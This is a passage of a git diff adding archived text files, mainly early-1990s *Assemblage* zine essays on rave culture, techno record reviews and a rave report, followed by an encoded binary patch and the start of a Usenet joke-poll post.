+excess, the realm of eroticism and the indecipherable. Yet at the +same time, the sovereign is crucial, for it represents that share +of each society's (and each individual's) life which is +unsubjected to the constraints of work, to the endless deferral of +desire which is sublimation. Without such epiphanies of +unsubjection, society itself would burst under the strain; the +refusal of society's boundaries is the (re)marking of those very +boundaries. Thus, inevitably, the value of the sovereign is also +its undoing, and necessitates its continuing re-doing; it is not +enough to dance once, one must dance and dance dance again. Not +the dance as a performance, offered for the consumption of others, +but the dance of Dionysos, the dance as the social ritual which +marks and exceeds the limits of the social. Dance is the supreme +gesture of abandon, the embrace of the moment, the abeyance of +work and the annihilation of guilt, neurosis, and the burden of +the past. If there is a revolt against the continual demand of +bourgeois society, the demand to work in order to accumulate +things (including leisure itself, insofar as it is a thing), this +revolt can only take place in the domain of the sovereign, and its +technic will be the dance. + + +2. Dance: technic of the totality + + Dance is not merely on the side of the subject (s/he who +dances), but also on the side of the object (s/he with whom s/he +dances); it is spectacular as well as completely interior. In fact, +the dance is capable of holding in abeyance the entire +subject/object split. The associated technics of dance, from the +earliest times, amplify this abeyance of the subject: incense, +masks, hallucinogenic drugs, firelight or dim light, costumes, +perfume, the relentless pounding of the beat. Current technology +amplifies these technics still more, with strobe lights, lasers, +black lights, moving dancefloors, neon, and an even wider palette +of drugs. Such was the genesis of technorave music: in the +industrial wastelands, whether of Detroit or Leeds, organizers +rented disused warehouses, silent icons of the post-industrial +wasteland. Portable sound and light systems would be set up, +invitations spread by fliers, over computer networks, or by word +of mouth, and by a few hours after nightfall the warehouse would +be full. The dance lasted, often, till the morning ("rave till +dawn," a phrase borrowed from the hip-hop dj's exhortation "On +and on / till the break of dawn"), an incursion against the day, +against society, against work, against the eternally deferred +bourgeois happiness whose promise had long ago whithered in the +shadows of vacant steel mills and ghostly factories. + Yet this history is but one phosphorescent fragment of the +eternal return of the dance; from the dances of Dionysos to the +medieval carnivals, from the bootleg whisky and jug-band blues of +southern barrelhouses in the 1880's to the prohibition mix of +bathtub gin and jazz at 1930's speakeasies, to whenever and +wherever the Grateful Dead pulled into a concert, be it the 60's +or the 90's. This link between music and the body of the social +is no anomaly; if there is any anomaly it is the hypercephalic +spectacle of the audience at a symphony, each deeply lost in +thought, their limbs motionless at their sides, where any +suggestion of physicality (even a sneeze!) is regarded with horror + . . . + +3. Dance: The loss of self + + Like the eastern disciplines of Yoga and Zen, the point of +the dance is the _loss_ of subjectivity, the immersion of the +tyrannical ego in the bath of undifferentiated subjectivity. It is +thus necessarily a collectivity of the most profound kind, even +more so than riot and revolutions -- for riots and revolutions +have their aims, their goals, and are directed to those ends, +whereas the energy of the dance is entirely consumed in the +polymorphous conflagration of the senses. Sexualities, personas, +postures -- all are lifted from whatever 'place' society may +assign, and mobilized in the great enactment of the dance, which +is both acknowledgement and reversal of all the other 'acts' which +one must 'put on' to maintain one's position in society. + Thus the place of the dance is anyplace: under the stars, +under the rusted i-beams of the industrial bombshelters of the +past, under the glow of lasers, black lights, and strobes. The +time of the dance is the eternal present of the senses, a +deliberate forgetting and abandonment of the myriad threads which +weave us into our neurotic fixations with what has been, or will +be. For once, all the energy we waste at these devotions is set +free, and mobilized into the collective and limitless space of the +rave. To see, and to be seen; to smell, to taste, above all +always to be in motion: this is the complete abeyance of time and +the reign of the _useful_. The time of the dance is no time at +all, it is measured only in the endless stream of beats, now +faster, now slower, now fast and hard again . . . . + + +4. Industrial, Techno and the Return of the Carnival + + In the shadow of the Black Death and the ceaseless invasions +and counter-invasions of mercenary knights, the inhabitants of +what would later be named the "Middle Ages" celebrated life in the +inverted rituals of the Carnival: Anti-Masses were conducted by +celebrants who walked backwards and wore the heads of asses; young +girls and boys were crowned kings and annointed bishops; men and +women exchanged clothes and roles, and everywhere people drank and +danced in a frenzy of life, life which declared this day its +territory and refused its accursed pasts and futures. The domain +of the Carnivalesque was also the domain of the Carnal, of desire +unrefused, of the celebration of fucking, pissing, defecating, and +puking, of all the human exchanges upon which the territory of the +social had set its prohibition. + The technologies of this carnival were relatively simple: +facepaint made from roots and grasses; costumes and masks of +leather, wool, and bark; for the inebriation of the senses there +was mead, wine, and ale; for hallucinatory excursions there was +ergot, henbane, and nightshade. This is the domain that Hans +Peter Duerr calls _Traumzeit_, or Dreamtime; it is the "other" +time that continually erupts into the pious days and hours of both +sacred and secular calendars. And, when the "middle ages" +gradually faded into memory with the incursion of industrial +technology, this "time" was for a moment quelled; where, after +all, could one stage a carnival among the narrow, sooty streets of +the new industrial cities of the UK and the USA? Where it +survived, as in New Orleans, the Carnival became perversely the +property of the propertied; with costumes and floats consuming +thousands of hours and thousands of dollars, the display of the +carnival was appropriated from the masses (though drink, at least, +and the license of the lewd, was left them). + Yet even as it appeared to extinguish the spark of the +Carnival, industrial culture could not permanently repress it. +Ironically, it was the industrial muse that itself supplied the +soundtrack for the return of the Carnival, whether in the +mechanical noises and imagery of the 20's and 30's (e.g. +_Metropolis_ or the _Ballet Mechanique_) or in the rancorous +resonances of Einstuerzende Neubaten, who made music by banging on +bridges and hammering on discarded metal tubes. Just as the +Carnival had founded its reaction upon the bourgeois-Christian +ethos of its day by tearing open a gateway to the pagan past, +"Industrial" music attacked the despair of the post-industrial +landscape by re-appropriating the very objects that society had +discarded: disused warehouses, vacant fields, and abandoned +amusement parks. It was bricolage and pastiche from the start, +and its beat was provided by the very technologies it mobilized +against; in the heart of the machine, it appeared, was a beat, and +the beat initiated the very dance that was the undoing of the +world the machine made. + The Gothic ruins of the 90's, the empty rustbelt caverns of +smelters, foundries, and warehouses, thus became the scene of a +new cyberindustrial fusion, in which the boundaries between human +and machine were deconstructed under the strobes and lasers of +that very machine. The capital-industrial machine itself, +inevitably, has attempted to appropriate and commodify this new +form, and yet it is always _too little_ and _too late_. By the +time the music "industry" had figured out how to market +"industrial" music, that music had already shifted, mutated, taken +on a new skin like some recombinant virus, to once again penetrate +the system and begin (re)producing its subversive beats. Acid +House, Hip-Hop, or Technorave; all have continued to evolve at an +astonishing pace, making new incursions from sites just outside +the genre-lines of record store bins (is Consolidated hip-hop? +Techno? Industrial? What about Eon? Greater Than One? The +Beatnigs?). Similarly, just as 1-900 RAVE hotlines have tried to +capitalize the space of ever-changing rave numbers, or high-tech +high-cover-charge clubs have tried to divert the curious by making +"rave" a thing and selling it by the inch, ravers have mobilized +away, finding new venues, new lines of communication, new formats. + With luck, and with dedication, this process will continue, +and the commodity shell-game will always be a step away. The new +technologies make it easier, in fact, to evade commodification; +with a small array of machines and mixers that could fit into a +bedroom or a panel truck, rave DJ's can stay one mix ahead. In +the UK, even as various government ministers condemned "ravers" +and "travellers," their condemnations were sampled and set to a +beat within 24 hours; in the USA George Bush and Tipper Gore have +been relentlessly sampled by everyone from Ice-T to Consolidated +to Front Line Assembly. It is difficult to resist the massmedia +machine by rebuttal, but via the appropriation enabled by +sampling, parody is only a beat away. Long may the hip-hop crews +and rave DJ's continue, and long may the dance repeat its refusal +of the strictures of society . . . + + +========================================================================= +Reflections on the Rave Generation + +by Robert Hooker, Chicago Il +========================================================================= + + + I went to a rave and I started to feel old. Here in Chicago it is pretty +hip to go to a Rave; most of my friends have never heard of one. +In my late twenties, I am in the uncomfortable situation being between +two great cultural happenings; hippies and ravers. There is sort of an empty +feeling in the middle. + I like to rave because it exposes me to youth, but it can also make me +feel a little old. At a Rave I don't rediscover my youth but I discover +the youth of a new generation that I am not one of, that I don't fully +understand. I become very aware that this new generation that is coming +of age now, the first post-cold-war generation, is very different then +myself and my generation. + Also I feel for the first time that I am one of the old people that these +kids are the youth that is opposed to me as the old. For young and old +oppose each other and even though we try to make up middle grounds (the +pathetic "Middle-Aged" is a case in point) you are generally one or the +other. At I rave I really become aware of a generation gap that, even +though it does not affect myself that much, keeps most of my friends away. + The last rave I went to was an all ages things here in Chicago full of high +school students all dresses in the latest rave fashion. In fact there was +so much Cross Colors and Fresh Jive that it seemed more like a parody of a +rave then a rave itself. Though I enjoyed myself thoroughly and love +techno music more then anything I grew up with, the rave continued to +leave me with a confused feeling that I could not put my finger on. + After this Rave my group went to a Punk/Heavy Metal bar by visited by +an older crowd. Walking into the bar looked like walking into a crypt, the +punks, dead heads and metal heads (we are a generation of heads) look like +walking zombies, corpses, worshipers of death in black leather. It felt +comfortable to be back among "normal" people. + Then it hit me, what it meant to be my generation. Our generation in all +its trends was driven by an ever present awareness of death and +hopelessness produced by the anxiety of the cold war. We embraced death +for what it seemed to be to us; the only future we had any reason to +believe in. Death runs throughout so many of our trends, heavy metal, +punk, Terminator. + Yet this is not the zeitgeist of the rave generation. The cold war was +ending when they were in elementary school. But what drives the Rave +set in their baggy pants and funky hats, sucking on their glow-in-the-dark +lollypops? Consumerism, oralism, dancing? What is in the mind of +this first post cold war generation? + For a late-twenties such as myself the question becomes how do you read +a rave, how do you decode a rave. What in their world are they referencing, +what principle, hopes, fears give rise to the rave. What is the meaning to their +oralism, their embracing of consumerism, their loose clothing the color of gum +additives? + But what would have been my answer if I had been asked at 17 for the meaning +of my generation and its trends? I could not have answered. Probably no one +could have answered. Probably no one can provide the meaning of an social +movement while it is still going on. Case in point are the endless stupid +explanations of the 60's written during the 60's. + Today the rave generation is simply creating raving, they are making a +cultural happening occur. They are raving a rave into existence rather +then reading a meaning into the rave. + Not until they have finished their college years, not until Rave is over +and they are faced with a new generation which makes them aware of +themselves, will the Ravers find the words to describe what went on, +not until it is all over will they be able to tell me what it was the made +them what they are, or how they see the world different then I. Then +rave will stop being a movement but an influence, a way of looking, a +kind of theory. + These theories or outlooks on the world are what is left behind by once +dynamic vital social happenings, like the skeleton left behind by a dead +animal. You can not have both the skeleton and the living body. Probably +just as you can not rave and read the rave at the same time. It is only after +the hand is done writing that we can read what has been written. + Perhaps this is the very essence of what distinguishes creation of +criticism- creation is a living, vital process of becoming, a process so +dynamic that the bonds between signs and meanings are unable to solidify. +Creation is governed play and a desire for fun. Criticism is a later +process, only after creative energy has been finished with a thing can we +read the meaning left behind. Criticism is concerned with things left us, +things that are now absent from direct experience. Criticism is governed +by a desire to make the world an object- governed by rules. + Creation is interested in the new, the fun, the young, criticism is +interested in preservation, tradition, history, timelessness. For now, +"Rave" is still an indeterminate word; the Rave scene is still free of the +burdensome weight of meaning. We will only be able to read its meaning +after it is over. + But the same is true of any cultural happening. We can only think about +the now in terms of the then. Probably this accounts for such bad name choices +for modern trends. We talk about Cyberpunk long after the punks are gone, We +say Industrial music when we live in a post-industrial society (perhaps rock and jazz are the real industrial music), we even call our age POSTmodern. We can only think about what is in terms of what was. + I have set out to write about raving but have come to the realization that +I can not "write", "write" in a deep sense much deeper then just describing, +then meaning of raving. For now a Rave is just strange symbols without fixed +meaning. the rave isstill the domain of play, of Sesame's Treet and glow-in-the-dark real neat stuff. And this is why the drugs, balloons, and dancing is so much fun; turn off the brain--forget the semiotics of American popular culture is the only way to keep up with the times--the only way to Rave. + + + +============================================================================== + + HAVE WE BEEN HERE BEFORE? + HIPPIES AND RAVERS, 60s and 90s + + Arthur Chandler (arthurc@sfsuvax1.sfsu.edu) + +============================================================================== + + When I walk down Haight Street in San Francisco these days, I think of +Mark Twain's saying: "History may not repeat itself, but it rhymes." Haight +St. 1992 looks a lot like Haight Street 1967: offbeat clothing, street music, +vivid posters, dope bums and psychedelic messiahs, tourists cautiously +looking for a hip good time.... "Yep," I say to myself, "It sure looks +like...." + But wait a minute, Mark: "light" rhymes with "night" and "fight." +They're not the same thing at all. Are those similarities signs of something +deeper -- a common connection between the 60s and the 90s? Is Ecstasy an updated +version of Blue Cheer LSD, and is house music just acid rock in new +clothing? + To the point: do the similarities reach down to the heart, or are they +just a matter of surface style? Do the spirits of the era rhyme? + To someone who has lived through both eras, the most striking similarity +is the music scene. When the tribes gathered in the Summer of Love, they were +called by he music: Santana, it's A Beautiful Day, Jefferson Airplane, the +immortal Dead and, beyond all others, the Beatles. The hippie tribes +gathered at Fillmore West, the Avalon Ballroom, the Family Dog, and in the green +spaces of Golden Gate Park. They got high and danced to the music and the +lights. + Now the music calls again. . . + Now they gather in Toontown and in dusty warehouses, and on the +beaches. They get high and dance to the music and the lights. But at first glance (and first hearing), raver music doesn't rhyme with psychedelic music. Lyrics don't matter as music to the ravers as they did to the hippies. When and if the human voice does shout through, it's often sampled and jacked out of the human realm. Words and phrases are cut up and recombined, and the original thought and emotion are lost or transformed into a kind of mantra (listen to what Orb does to the words of the breathles +s narrator in "Little Fluffy Clouds"). +House and techno seem harder, digitally insistent; the spirit that pervades +the tribal music of Cyberia is that of the microchip. + At the concerts, the music makers have changed their instruments. DJs +have replaced live musicians jamming down on their axes. Here in San Francisco, +Jeno and Garth rules; here Grace Slick and Paul Kantner rocked the crowds a +quarter of a century ago. Moving from one turntable to another, adjusting +the mix, rocking one record back and forth until its music is ready to be +wedged in under the current sounds from the other turntable -- the DJs moves are +far away from the lead guitar smiling at the bassist, both of them trading +licks and feeding them to the keyboard player as they all take the pulses from +the flailing drummer. + But though the musics and their makers look and sound so different, the +rhyme of the 60s and 90s is real, like "light" and "bright." Above all, +around all, there is Community. A strong sense of community pervades the core +of the raver community, as it did among the hippies. The community is held +together by a common (if not quite universal) sense of tolerance and fellowship +with the whole world. Like the "Gathering of the Tribes" in Golden gate park +in the 1960s, raves are open to everyone. + Well, maybe not quite everyone. + The rhyme ends here. + dancing with a thousand raving brothers and sisters under the full moon +on the beach or under the mutating fractals uncoiling on the projection screen +-- "One world! No color or gender barriers! Come, Unity!" shouts the yes-voice +within the raver. But later, as he/she chills out and appraises other +people, a small worry whispers, "Who are those suits and high schoolers coming +across the bridges and through the tunnels to *our* rave? And that too chummy dude over there who keeps trying to score E -- ten to one he's a cop." + The hippies always had a sense of community and, in their Higher +Moments, a perception of being part of the whole human community. But (except for the dopers who took too much speed) the paranoia about outsiders didn't set in late in the movement -- and it proved to be one of the dissolving agents of +the hippies community. "Suspicion on our part justifies deceit in others," +said La Rochefoucauld; and once the worm of suspicion gets going, it eats he +heart out of a community. + There are signs that the worm may be loose in the raver world. There +exists,among a number of ravers, a kind of clubbiness, a sense of being "in" and +wanting others to stay out. The exclusiveness isn't race- or gender-motivated; +it seems o emerge from a kind of inner-circle hipness. "Don't let them -- +Joe Lawyer and Jane Realestate, Freddie teenybopper and Marvin Mediaman, Professor Anna List -- into the rave scene, or it's all over for us!" + "Your name's not down, you're not coming in." The community becomes a +members-only party, where acceptance into the "real" rave community is +dependent upon knowing the "right" people: the ones who know where the real +action is tonight, and who let you know when and where it is ("And don't +tell anyone you can't trust!"). + This suspicion of outsiders leads me to one final point of difference -- +the last non-rhyme -- between hardcore hippies and ravers. In the 1960s, +the ideal philosophy of the hippies could be summed up in the phrase, "ALL +YOU NEED IS LOVE." Love for another person, for the music, for whatever in +life you've given your heart to. Love is all you need. The song said it; +and, for better and for worse, many of them/us believed it and tried to live up +to the possibilities and consequences of that idealism. + I don't find this common ground of idealism among ravers. or maybe I +should ask the question (and end the essay) thus: + + How do YOU fill in the blank? + + ALL YOU NEED IS __________________________ + + + + + +[END OF PART 2 OF *ASSEMBLAGE* 1.1] diff --git a/textfiles.com/magazines/MISC/assem1-3.txt b/textfiles.com/magazines/MISC/assem1-3.txt new file mode 100644 index 00000000..1cf17d07 --- /dev/null +++ b/textfiles.com/magazines/MISC/assem1-3.txt @@ -0,0 +1,312 @@ +* A S S E M B L A G E * [ p a r t 3 ] + +============================================ + +1. R E C O R D R E V I E W S + +============================================ + + +AC = Andrew C Crosby +RP = Russell A. Potter + +============================================ + + + +Title: Berlin 1992: The Techno Sound of Berlin +Arists: Various +Label: Tresor/Novamute (dist. Tommy Boy) + +When I saw this record in a store, it struck me that it was the +first record I had seen in a long time that had the word "Berlin" +with no "West" before it. And, for those who have been wondering +what's been happening musically in post-Wall, post-West Berlin, I +can't think of ant better answer than this record. It was, after +all, in West Germany in the late 60's and early 70's that the +idea of original electronic popular music was born at the hands of +kids like Edgar Froese, Klaus Schulze, and Roedelius, and it was +there too that Kraftwerk first found an audience. The DJ's on +this compilation were probably still in diapers in 1973 when +Schulze's _Cyborg_ redefined electronic music, but they've learned +a lot from him, and from other German electronic musicians. +Unlike Belgian techno, which to my ears often sounds like the +excited noises a five-year old who had come accross a digital +keypad by accident would make, these Berlin DJ's make +sophisticated electronic music with a full range of beats, pulses, +samples, and waveforms -- not to mention machines. These guys are +playing with a full deck, and it makes a difference. + +The cuts on this compilation are incredibly diverse; though they +tend towards the moderate-to-trancey range of BPM's, there are +harder and faster beats as well. What sets many of these cuts +aside is their dense blend of melodic accents; for instance Cosmic +Baby's "Cosmic Cubes," which takes a fairly standard beat and +enriches with just the right amount of Schulze-like melodic +arpeggios and accents, often running a sleek treble over a pulsing +bass loop. For those who like a harder sound with phased cymbals +a la Front 242, Vein Melter's "Hypnotized" offers that and more, +giving a trancey feel over a relentless 138 BPM. Along the same +lines, Futurhythm's "Phuture 2" works similar magic over a clashy +industrial beat reminiscent of KMFDM. If house techno is more +your style, Microglobe's "High On Hope" hooks you with housey +piano and soul vocal samples, only to bust your mind open with +incursions of high energy, culminating in a tour-de-force +sequence of 120 BPM madness that changes its feel every thirty +seconds or so. The gems of this collection, though, are the two +long trancey mixes at the end, 3 Phase's "Open Your Mind" and +Mindgear's "Don't Panic," which together clock in at just about +eighteen minutes. Both feature long sequences of trance beats with +weird little loopings of samples that keep you moving _and_ keep +you guessing (shouldn't be rare, but is). + +All this says a lot for Tresor, which is both a club (located near +the site of the Wall itself, in the basement of a what was (before +the war) a department store) and a record label. This is (so far +as I know) one of the first Tresor/Novamute records to be +licensed domestically via Tommy Boy, and I hope there will be many +more; a comp such as this would be worth $20, but it's great to be +able to pick it up for $12.99 As taylor808 said earlier on the +ne-raves list, "it's total trancey, acid, blipcore. I can't get +enough of it . . . spacey, blippy perfektion." [RP] + + +Title: Swamp +Artist: Influid-1 +Label: Discomania (?) + +This track is really old, I suspect, having heard that it was on +some MTV-Europe sampler or something. I like it though; +the a-side is a pretty cool acid stomp, typical bubbly analogs +with a KILLER intro sound... kind of a buzz that modulates on +each beat. The first mix has the most variety; it changes style +several times during the song. + +On the b: The track prohibition is really boring, a kind of funny +sample of some guy saying 'women having sex with animals' but +very predictable. The second mix of swamp is much more sparse +than the first, fast and furious with that droning buzz all the +way through . . . nice. Both versions feature samples from +Flash Gordon ("Lower them into the swamp"), but not overused, +very subtle. Cool. [AC] + + +Title: Meltdown +Artist: Radition +Label: Radikal Records + +This came out over the end of the summer, sort of a trancey hardcore. +Cool sounds mixed up with a fast beat; the crash mix is long and +ok, though I like the intro on the other mix better; it starts out +really slow and works into a frenzy. The other track, 'Help Me,' +is ok too, but nothing spectacular; it sounds cool when you mix it +with other stuff. [AC] + + +Title: Acid Drill (remixes) +Artist: Edwards & Armani +Label: Music Man (?) + +Three mixes here, all of them pretty cool. It's hard acid stuff, +original and nice and fast, featuring a guy yelling 'left right +left right left right left,' which sounds sorta military, but +remains feisty and hard. The sounds on this aren't your typical +analog bubble, way cool. [AC] + + + +Artist: Lords of Acid +Title: I Must Increase My Bust (remixes) +Label: Caroline + + +The Lords are at it again, and this maxi-single, clocking in at over 44 +bust-expanding minutes, is definitely worth it. There is _some_ filler +(a "Noise Mix" and "Distortion Mix" that basically sound like some other +person playing around with LOA effects), and two nearly indistinguishable +dub mixes ("DD Vocal Dub" and "The Lords Like 'em Large Mix"). But the +real star of this disk is the "'Rock-n-Rave' mix", which extends the cut to +over seven minutes of coolly acidic sounds, switching from one breakbeat +to another and boldly going into sonic universes where the Lords had not +gone before (this remix is credited to Mark Picchiotti and Terri +Bristol). The LOA were always in danger of being a sort of one-noise act, +but this cut shows what can be done with their underlying beat and a slim +core of guitar. The other outstanding mix is the Plus-8/Richie Hawtin +"Detroit Hardcore Mix," which again completely revamps the sound, peeling +back the relentless LOA fuzz and substituting an old-school, spacey +techno sound reminiscent of early Detroit scene acts like Cybotron. + +All in all, a pretty good disk, though some chains seem to be regarding +this as a virtual EP and are charging as much as $9.99 for it. Let's hope +that LOA keep experimenting in this vein, or that if they don't, that +they'll let others keep on making remixes like these. Maybe LOA should +make like Psychic TV and just let rave DJ's remix everything on their +albums (as with PTV's _Beyond Thee Infinite Beat_)... we'll just have to +wait and see. [RP] + + +Title: World 2 World +Artist: Underground Resistance +Label: Underground Resistance + +Wow!! The acid jazz sound from Nation 2 Nation returns; this is a way +cool ep. It opens with "Amazon, " a slightly tribalish number that has a cool +chord progression and builds with a beat that comes and goes twice. +Other tracks are "Cosmic Traveller," a nice housey space jam with a cool +chime sample. "Jupiter Jazz" features a funky analog bassline with little +wispy solos done with a sound I can't really describe, a high-pitched +tone that twists yer head around. The last track has a kind of acidic +feel to it, very trancey, with cool samples of a female vocal and analog +blips coming and going. The whole ep has a very organic, earthy feel to +it, samples of water and stuff I think help. Excellent. [AC] + + + +Title: Seawolf, Kamikaze, Belgian Resistance +Artist: World Power Alliance +Label: Underground Resistance + +Basically another subproject of the UR people, these tracks were all +released as single 12"s with one song on one side, and a little manifesto +pressed into the other side, talking about techno unity and stuff like +that. + +Seawolf: WAY AWESOME ACID BLEEPER: driving hard beat, with little +submarine-like blips fading in and out and then ambient whirrs and grinds +forcing their way through. + +Kamikaze: has samples from a WWII documentary -- ok, but not great. +The sound of the airplane crashdiving is cool, but the track doesn't +have enough substance or anything profoundly new. + +Belgian Resistance: I like this, a warm bassline with a heavy beat and +feel, with little scrape/whirr sounds coming in and out, very acidic. +Pretty good overall. + +My main complaint is that these three tracks were all released separately. +This would have made an awesome EP, but instead makes a cool single and +two merely ok singles. At $5 a pop (and a lot more for those in other +countries), it just isn't worth it to only get one song each, in my opinion.The +back plate pressed with the message on the vinyl is cute, but useless. I read +it once and don't care anymore; I can't play it, so what's the point? [AC] + + +Title: Sysex EP +Label: Plus 8 + +This ep (on green vinyl) opens with "Intro,'" a long analog improv +that is pretty cool but not that listenable (or useful from a dj perspective). +World Domination is great; it builds from intro into a throbbing hardcore +acid track, with grindy analog ringing bouncing all over the place. +"Intruder" is my favorite track, with a fast hard analog beat and a cool +melody made from a 'bomp' kind of sound, hard and cool. The b +features three more tracks: an ambient bleepy thing with no beat, +and two others that are ok. Didn't grab me, but then i haven't listened +to it enough for them to really grow on me, as plus 8 stuff often does. +Mind buggin 909 just seemed a little empty; anyone could program +a 909 to do this, what's the point of it? + +Overall, if you like the really hard plus 8 stuff then this is quite a +buy; otherwise, it may be a bit too sparse and distorted. [AC] + + + +Title: Life at the Wunderbar +Artist: C.Y.B.E.R.F.U.N.K. +Label: Radikal Records + +Despite their name, C.Y.B.E.R.F.U.N.K. is not very funky. Like many other +Belgian techno acts on Radikal, they use a lot of that "BLEEEP BLEEP" sound. +Both the beats and samples are relatively unimaginative; particularly +annoying is the relentless "police whistle" sound. "Part 2" is virtually +identical with "Part 1," except for a whispering voice that intones "no +revolution" (there's certainly nothing revolutionary in _this_ mix!). The +CD contains no other tracks or remixes, making this disk a real waste of +money no matter how you cut it. Radikal seems to have a very good +distribution network in the U.S.; too bad they don't have much good music +to distribute (how many times can you hear "O Fortuna" before you get +sick of it?) [RP] + + + +Title: Circuit Breaker EP +Label: Probe + +Take a drum machine and pipe it through an array of distortion filters. +WHAMMO this is really cool. My significant other gave it a thumbs +down at first, as she felt that it sounded like it was recorded improperly +or something, with a fuzzy, muted feel. it may be a learned taste, so I +can't totally recommend this to everyone -- but it sounds great to those +who like incredibly hard stuff, and it is very new and unusual sounding. +The entire ep is made of three tracks, each made from rhythms that are +distorted to the core. [AC] + +====================================================================== + +2. R A V E R E V I E W S + +====================================================================== + +Halloween Review : + + This past Saturday, there was a wonderfully crowded MasquaRave for +Halloween at a warehouse in Greensboro, NC. The site was within view of the +downtown scape on a misty night, and along the downtown's central road, +Market. + We brought some jackolanterns, and left them by the side entrance as a +crowd toy. Inside was a large well-lit foyer. Beyond, in the gloom, +one passed the entrance to a huge dark area and proceeded up a concrete +ramp into the sparkle of an intellabeam. + On this second level, all to the left, was a warehouse/woodpile stage for +the spinners, flanked by speaker towers, two more intellabeams, and two +smokies. Into the space and left, were people in costume mingling about the +ramp railing, two more speaker towers, and on back to a stairwell, bathrooms, +a chill-out room, and drinks sales room. + This early in the night the lights were held low, as people filtered onto +the central floor, lit sporadically by glowsticks, false vampire teeth, and +blinking bicycle safety lights. As the evening progressed, it KICKED +into high gear; at midnight the DJ simply fitted the groove and SLID ! + + Unfortunately, there were several early technical errors. Twice or so a +dancer bumped into just the right spot of the "stage" to skip the beats, +wrongly skip I'll say as they were fun-skipping along normally. Then the +WORST occurred...power--sound and main lights--went down for what seemed an +eternity, but which was probably three minutes. The crowd was more than +helpful, filling in the gap with wild hoots, patterns of whistling, some +continuing dance moves, and some house-clapping. We all knew they were busting +their butts behind the scenes to get it going again. The only downside was that +this pause occurred twice more in the evening. + + Several people were drinking or NO2ing, but most seemed to simply be +sampling, not sloshing, so the scene stuck well all throughout the +night... + + For the Most Incredible Surprise-Its-Cool-Afterall Award, they played a +clear stanza from an easily recognizable pop diva ( was it Samanta +Fox?--they blur). Just enough to make you think, "rave's Over, go home NOW!" + Then they syncopated the beat of that song with some other beats and that +was the end of your worries. That set of beats went SO hard, SO broken, and +SO long that we knew the DJ just HAD to be dying!! THAT was true break beat +to the max! They should be congratulated, and they were!! + + An old friend of mine said that she was singing that night, +but...unbeleivable for this scene. Well, I stood corrected when, at 3 AM, +Nichol meshed her voice with the DJ-beats, backlit by yet another +intellabeam. This Rave was Planned And Executed!!! + + Even the 3AM announcement was coy : "there is a police line just up the +road, but it has nothing to do with us. And the wonderful lot owners have +opted to allow everyone to exit out of the back of the parking lot.....or you +could just stay here and party with us somemore....heh-heh... ;-) " + + And as seven o'clock approached with the last song, the last two hundred +continued to jam and hug in the misty dawn filtered through heavy ceiling +windows. + + --Peace, h.e. + +hansel-dude (henders@eos.ncsu.edu) + +[END of *ASSEMBLAGE* 1.1] + + diff --git a/textfiles.com/magazines/MISC/asylum.lit b/textfiles.com/magazines/MISC/asylum.lit new file mode 100644 index 0000000000000000000000000000000000000000..50d1c4c505920921476f707b2bdbfbd6d848ec42 GIT binary patch literal 4091 zcmaJ^O>g5y5}jNL5IJvjsUSeC0c?-7@>sU#5J;3V7S?v0k!FlU*accrOQcP*iEh#y z?XQ~g-;uHUA2|eh)g&c0_`PHsfOZWG5N8~!Sai=zJw>?_94iRm4HQ8)*zbby# z_f)*K8`{yAueI?(BUvr6`BRtc!V%6z_YCYooOWx0pbGkcgMJ(=9+W5;(bMD4 z!Ih>C582dH{D`#~{qK(W*t=FE`eS7N01Vh=M1RuPm(UaP9kZ*V4cD`XlR3#Ak@j|^Zgwg414H;reM$2`o0Qai z9!vufQfK(v*~fEA#1#8PJfi{SDhp>61~-z@%6QXLu9NyAz9A8Y)=(l<5@L%lQu1Y( z$QdPBTKG!ULc*D*J(4Ebrwf^Bb!nDUUm3(vS#5dn=sHg zLb6g?Xq6=t#9MHD$aTzA#xRyh9jF-)T}h5~p*U4sj##1|iIS!#BqVB(yx?4F9aMc!ogihv77cf>da_(jrKGl(-(r*LWGqI6xMMshH1Q z=Sj(*t-H=Shk`m?6)3Iofze_vL+n0PvC;xbxI}7P=SV zed<$PhPQ$FiNl$TNTE(%(4ka>GKP^$Um?cNbSm;2>?o4F$aH4O<~pC0>M2E@AD{vD z=sH7X1WlC+X^}1I#M12-xYu-9u>Z_7$SQU9eOcO_6)~Ig!&X z!NF6sjO*A88OB{S7cvwTRzUD9&9nsLeu znYW>#MI!8DD_SlxwlWb=lcG;^iE;*L&rqowR*7wtIb;ChrEpBlf_OnWB#SkK9ZUg$ zo0)RvvPHg$xe}KlK(kg_{ey}sdRST8wU3Hx)q>Jom2J%u2_4wbWJi8ZwJcKB4dfHf*j0km24G7yu=Ym2TKdiUaKHx;ANMiNudRh za;x1{ZCS%z2OXnW_K;>6$pr|9YQ_Yq7lzXnr(&8u6?9k}aA^kY^g{A^*ZD!jCfFsc zVdWx-uLX6pI1VIA=An~g^!e{nE4!s9K)j)v1~Of4FrA^TFk+Z2C)CRzVahTN>do^j z3sV?l>sH!iJS#GPb^5EF69wEVT}Q0)Bb59ceOIJoj%ar=7@7W{z*45*>8VQOJmU)3 zIm4L(Ww;8qIXF9Lyvl0JqX5OV>l4XV%38&kK3npScywCoRKrf_G%(Qo913EKW;GgD zQ+qXNx4ett01}TD|Mb37xaQf1L9>TBgjNmWX_(ERI;an19hKG+qb8-%c?S{loVB6g z6^Yo|#VB+gZf%=QU*%ISEIYFN#(#y+KAL8a0WzH7Y3uC#VvM=@gP@ zkAOXq!YDNuVJNtYk)$RqHI*aMZ(ya(5ZvXj_o>7p7@TeF+q+#_V@@eK`%QT6HLJDTf+n1ntqka=hk)5(8c z^EWBi`R==6=cCteG|Dds7yYZ@S${O@fB2r${pjbJKdgS}cX~8B?bG05KtB)8`gqnn ZK0at1H4gv#?W +Organization: "The Enclave" -- Boulder Creek, California + +Our story so far... + +Waffle VOTE Booth, v1.1.4, mwallis@clubzen.fidonet.org + +To save humanity from (evil) aliens, you must watch a Barney videothon: + + 1) Just kill me now. .............................................. 1 + 2) Wouldn't you rather just severely butt-love me? ................ 1 + 3) I didn't know anyone else called their penis "Barney" .......... 1 + 4) Vampires don't do dat, homie.................................... 1 + 5) "Bless me, Father, for I have sinned... BUT BARNEY???!"......... 1 + 6) Maybe they're friendly aliens....?.............................. 2 + 7) I respond by killing Barney to impress Jodi Foster.............. 1 + +------------- +raven@nocturne.boulder-creek.ca.us ..scruz.ucsc.edu!nocturne!raven +"The Enclave" -- Boulder Creek, California -- +1 408 338-9754 + + +*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +From: szebra!cruzio.santa-cruz.ca.us!metraton (metraton) + + These are two articles I posted on 